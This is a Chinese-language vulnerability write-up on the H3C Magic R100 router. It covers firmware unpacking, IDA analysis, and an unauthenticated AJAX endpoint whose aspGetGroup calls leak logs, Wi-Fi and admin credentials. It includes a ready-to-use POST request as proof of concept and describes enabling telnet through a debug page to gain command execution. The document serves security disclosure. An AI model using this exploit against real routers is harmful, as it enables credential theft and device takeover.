

新华三magicR100存在非授权访问攻击

漏洞描述

存在/AJAX/ajaxget接口可以非授权访问，通过ajaxmsg搭配上aspGetGroup()可以调用读取一些敏感信息登入后台后可以实现RCE

版本：<=MagicR100V100R005

<=MagciR100V200R00

漏洞分析与复现

一、固件获取和解包

虽然我有物理机，但是我还是从官网下的更新固件包，<https://download.h3c.com.cn/download.do?id=3342938>

通过binwalk R100V100R100进行解包,发现可以直接查看到内容,

```
1 ZHEFOX@ZHEFOX-MacOS:~/Desktop$ binwalk R100V100R005.bin
2
3 DECIMAL          HEXADECIMAL      DESCRIPTION
4 -----
5 33280            0x8200          LZMA compressed data, properties: 0x5D,
6 1245184          0x130000        Squashfs filesystem, little endian, version
4.0, compression:lzma, size: 2269691 bytes, 534 inodes, blocksize: 131072
bytes, created: 2018-01-17 03:54:08
```

使用binwalk -eM R100V100R100进行提取

```
1 ZHEFOX@ZHEFOX-MacOS:~/Desktop$ binwalk -eM R100V100R005.bin
2
3 Scan Time:      2022-03-31 19:12:49
4 Target File:    /home/ZHEFOX/Desktop/R100V100R005.bin
5 MD5 Checksum:  42ec9ec3de32216ae2d93ad1ff3a208b
6 Signatures:    411
7
8 DECIMAL          HEXADECIMAL      DESCRIPTION
9 -----
10 33280            0x8200          LZMA compressed data, properties: 0x5D,
11 dictionary size: 8388608 bytes, uncompressed size: 4145728 bytes
12 WARNING: Symlink points outside of the extraction directory:
13 /home/ZHEFOX/Desktop/_R100V100R005.bin.extracted/squashfs-root/web ->
/var/web; changing link target to /dev/null for security purposes.
```

```

14 WARNING: Symlink points outside of the extraction directory:
   /home/ZHEFOX/Desktop/_R100V100R005.bin.extracted/squashfs-root/dev/log ->
   /var/tmp/log; changing link target to /dev/null for security purposes.
15 1245184      0x130000      Squashfs filesystem, little endian, version
   4.0, compression:lzma, size: 2269691 bytes, 534 inodes, blocksize: 131072
   bytes, created: 2018-01-17 03:54:08
16
17
18 Scan Time:      2022-03-31 19:12:51
19 Target File:    /home/ZHEFOX/Desktop/_R100V100R005.bin.extracted/8200
20 MD5 Checksum:   4b2d56fb09ee2c3feafac6513c01f7c6
21 Signatures:     411
22
23 DECIMAL          HEXADECIMAL      DESCRIPTION
24 -----
   ----
25 0                0x0                uImage header, header size: 64 bytes, header
   CRC: 0xFB26C18E, created: 2018-01-17 03:51:29, image size: 4145664 bytes,
   Data Address: 0x80001000, Entry Point: 0x800044B0, data CRC: 0x9E4BD9D4, OS:
   Linux, CPU: MIPS, image type: OS Kernel Image, compression type: none, image
   name: "Linux Kernel Image"
26 3194976          0x30C060          Linux kernel version 2.6.30
27 3260544          0x31C080          CRC32 polynomial table, little endian
28 3274176          0x31F5C0          SHA256 hash constants, big endian
29 3281920          0x321400          CRC32 polynomial table, big endian
30 3475335          0x350787          Neighborly text, "neighbor
   %.2x%.2x%.2x%.2x%.2x%.2x%.2x%.2x lost on port %d(%s)(%s)"
31 3477803          0x35112B          HTML document header
32 3477966          0x3511CE          HTML document footer
33 3666048          0x37F080          AES S-Box
34 3974025          0x3CA389          Microsoft executable, MS-DOS
35 4145216          0x3F4040          ASCII cpio archive (SVR4 with no CRC), file
   name: "/dev", file name length: "0x00000005", file size: "0x00000000"
36 4145332          0x3F40B4          ASCII cpio archive (SVR4 with no CRC), file
   name: "/dev/console", file name length: "0x0000000b", file size:
   "0x00000000"
37 4145456          0x3F4130          ASCII cpio archive (SVR4 with no CRC), file
   name: "/root", file name length: "0x00000006", file size: "0x00000000"
38 4145572          0x3F41A4          ASCII cpio archive (SVR4 with no CRC), file
   name: "TRAILER!!!", file name length: "0x0000000b", file size: "0x00000000"

```

成功提取后，进入发现是squashfs架构，在squashfs-root发现了www目录，跟进发现是一个asp网站

二、漏洞实现和分析

曾经在攻击该接口时，因为无法改参数无法实现RCE，但是我还在思考到会不会这个接口可以有别利用前途呢，我将服务器的http的二进制丢入IDA进行分析查阅。

```

1 366: function AjaxGetWan1State()
2     367 {
3         368     XMLHttpRequestmp = createXMLHttpRequest();
4         369     if (XMLHttpRequestmp)
5         370     {
6         371:         var url = "AJAX/ajaxget";
7         372         var msg="ajaxmsg=aspGetGroup(wan1BasicState)";
8         373         XMLHttpRequestmp.open("POST", url, true);
9         ...


```

```

10 385      { // ÐÃÏ¢ÖÑ%³É¹|.µ»Ø£¬¿ªÊ¼´|ÀíÐÃÏ¢
11 386      XMLHttpRequest=null;
12 387:      setTimeout("AjaxGetwan1State();",2000);
13 388      }
14 389      else
15 ...
16 399      if (XMLHttpRequest)
17 400      {
18 401:      var url = "AJAX/ajaxget";
19 402      var msg="ajaxmsg=aspGetGroup(wan1Ping)";
20 403      XMLHttpRequest.open("POST", url+"?IsVersionCheck=1", true);

```


通过已知的可利用接口在IDA直接搜索字符串，并追踪。



交叉引用继续跟进，

LOAD:004872BCaWan1basicstate:.ascii"wan1BasicState"<0>
LOAD:004872BC# DATA XREF: LOAD:004A32FClo
LOAD:004872CB.byte 0
LOAD:004872CCaWan1ping:.ascii"Wan1Ping"<0># DATA XREF: LOAD:004A3304lo
LOAD:004872D5.byte 0, 0, 0
LOAD:004872D8aSnat:.ascii"snat"<0># DATA XREF: LOAD:004A330Clo
LOAD:004872DD.byte 0, 0, 0
LOAD:004872E0aMacClone:.ascii"mac_clone"<0># DATA XREF: LOAD:004A3314lo
LOAD:004872EA.half 0
LOAD:004872ECaWanportmode:.ascii"wanportmode"<0># DATA XREF: LOAD:004A331Clo
LOAD:004872F8aGetUserExpireT:.ascii"get_user_expire_time"<0>
LOAD:004872F8# DATA XREF: LOAD:004A3324lo
LOAD:0048730D.byte 0, 0, 0
LOAD:00487310aGetSysinfoRefr:.ascii"get_sysinfo_refresh_timer"<0>
LOAD:00487310# DATA XREF: LOAD:004A332Clo
LOAD:0048732A.half 0
LOAD:0048732CaSysPasswdPromp:.ascii"sys_passwd_prompt"<0>
LOAD:0048732C# DATA XREF: LOAD:004A3334lo
LOAD:0048733E.half 0
LOAD:00487340aBalanceruleMax_0:.ascii"balancerule_maxnum"<0>
LOAD:00487340# DATA XREF: LOAD:004A333Clo
LOAD:00487353.byte 0
LOAD:00487354aGetSyslogRefr:.ascii"get_syslog_refresh_timer"<0>
LOAD:00487354# DATA XREF: LOAD:004A3344lo
LOAD:0048736D.byte 0
LOAD:00487370aLanlocalinfo:.ascii"
LOAD:00487370# DATA XREF: LOAD:004A3350lo
LOAD:0048737D.byte 0
LOAD:00487380aLanlocalipinfo:.ascii"
LOAD:00487380# DATA XREF: LOAD:004A3358lo
LOAD:0048738F.byte 0
LOAD:00487390aLandefaultinfo:.ascii"
LOAD:00487390# DATA XREF: LOAD:004A3360lo
LOAD:0048739F.byte 0
LOAD:004873A0aLansetinfo:.ascii"lanSetInfo"<0># DATA XREF: LOAD:004A3364lo
LOAD:004873AB.byte 0
LOAD:004873ACaGetmacaccessmo:.ascii"GetMacAccessMode"<0>
LOAD:004873AC# DATA XREF: LOAD:004A336Clo
LOAD:004873BD.byte 0, 0, 0
LOAD:004873C0aSyslog_0:.ascii"sysLog"<0># DATA XREF: LOAD:004A3374lo
LOAD:004873C7.byte 0
LOAD:004873C8aSyshislog:.ascii"sysHisLog"<0># DATA XREF: LOAD:004A337Clo
LOAD:004873D2.half 0

xrefs to aWan1ping
DirectioTyAddressText
D...oLOAD:004A3304.word aWan1ping # "Wan1Ping"
Line 1 of 1
OKCancelSearchHelp




发现存在很多的接口，这些都是可以调用的函数方法，可以通过此处打印出一些信息，初步尝试打印出了系统的日志文件。

在观察和不断读取泄露信息时，发现了自己的wifi账号和密码！！！！



在这里我们可以看到管理员和访客路由器的账号密码，连接设备等信息，再访问下图接口，可以查看网站管理密码如果和wifi密码一样就是1



POC:


```
1  -----  获取管理员账号密码
2  -----
3  POST /AJAX/ajaxget HTTP/1.1
4  Host: 192.168.124.1
5  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
6  (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36 Edg/99.0.1150.55
```

```

5 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
6 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
7 Accept-Encoding: gzip, deflate
8 Content-Type: application/x-www-form-urlencoded
9 Content-Length: 78430
10 Origin: http://192.168.124.1
11 Connection: close
12 Referer: http://192.168.124.1/AJAX/ajaxget
13 Upgrade-Insecure-Requests: 1
14 Pragma: no-cache
15 Cache-Control: no-cache
16
17 ajaxmsg=aspGetGroup(process_pppoe_user)
18
19

```

拿到了密码，我们就可以去访问系统的管理界面，



先把讨厌的防御关了，发现该机器存在telnet，



同时发现存在<http://192.168.124.1/debug.asp> 这个调试网页

←→↺🏠⚠️ 不安全 | 192.168.124.1/debug.asp

🔧 系统监控

- 🕒 运行信息
- 📖 系统日志
- 📊 流量监控
- 🔧 网络维护

📶 无线设置

🔌 接口设置

🌐 上网管理

🔒 安全专区

⚙️ 高级设置

🔧 设备管理

🏠 简化版

基本信息性能监视技术支持

TCP连接建立状态老化时间: 秒(范围:10~86400, 缺省值:1800)

UDP单向发送状态老化时间: 秒(范围:10~86400, 缺省值:30)

UDP双向交互状态老化时间: 秒(范围:10~86400, 缺省值:160)

ICMP未应答状态老化时间: 秒(范围:10~86400, 缺省值:10)

源路由选项

接收带源路由选项的IP报文:

NAT转换方式设置

NAT转换模式: (缺省为五元组(端口优先不变))

Packet Order模式设置

Packet Order模式: (缺省设置为ORDERED)

IP流量限制高级参数设置

突发流量限制: 比特(范围:0~65535, 缺省值:0, 代表由系统自动调节)

FIFO队列长度设置: 报文(范围:16~1024, 缺省值:256)

弹性带宽接口紧张阈值: % (范围:1~100, 缺省值:80)

TCP报文状态检测

允许非法的TCP ACK报文通过:

Telnet管理

☐ 启用Telnet管理

应用

应用

恢复缺省值

注意: 默认情况下, 设备已经按最优的参数进行设置, 使设备在常用的环境下达到良好的运行状态。当需要调整系统参数以适应特殊的应用场合时, 您必须非常清楚参数的意义和调整所带来的影响, 不恰当的设置可能会影响设备正常工作, 请您慎重操作。您可以从[技术支持页面](#)获取支持和帮助。

打开Telnet就可以RCE, 虽然存在其他RCE方法, 但是这个方法最简单。